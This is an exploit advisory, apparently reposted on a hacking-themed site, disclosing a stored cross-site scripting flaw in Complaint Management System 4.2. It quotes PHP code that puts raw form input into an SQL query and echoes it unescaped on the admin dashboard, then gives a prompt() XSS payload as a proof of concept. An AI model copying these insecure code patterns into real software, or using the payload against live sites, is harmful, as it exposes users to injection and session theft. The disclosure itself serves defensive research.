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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Complaint Management System 4.2 - Persistent Cross-Site Scripting
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.2
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here: http://localhost/cms/users/registration.php
2- Vulnerable code:

Insert user registration information to the DB without filtering.

if(isset($_POST['submit']))
{
$fullname=$_POST['fullname'];
$email=$_POST['email'];
$password=md5($_POST['password']);
$contactno=$_POST['contactno'];
$status=1;
$query=mysqli_query($con,"insert into
users(fullName,userEmail,password,contactNo,status)
values('$fullname','$email','$password','$contactno','$status')");
$msg="Registration successfull. Now You can login !";
}
?>

3- In the admin dashboard:

Get fullName from DB and print it without any filtering

<tr>
<td colspan="2"><b><?php echo $row['fullName'];?>'s profile</b></td>
</tr>

4- If we insert "fullName" as "script>prompt(2)</script>", we can perform
this attack as "Stored XSS"

5- Picture in the Attachemnt
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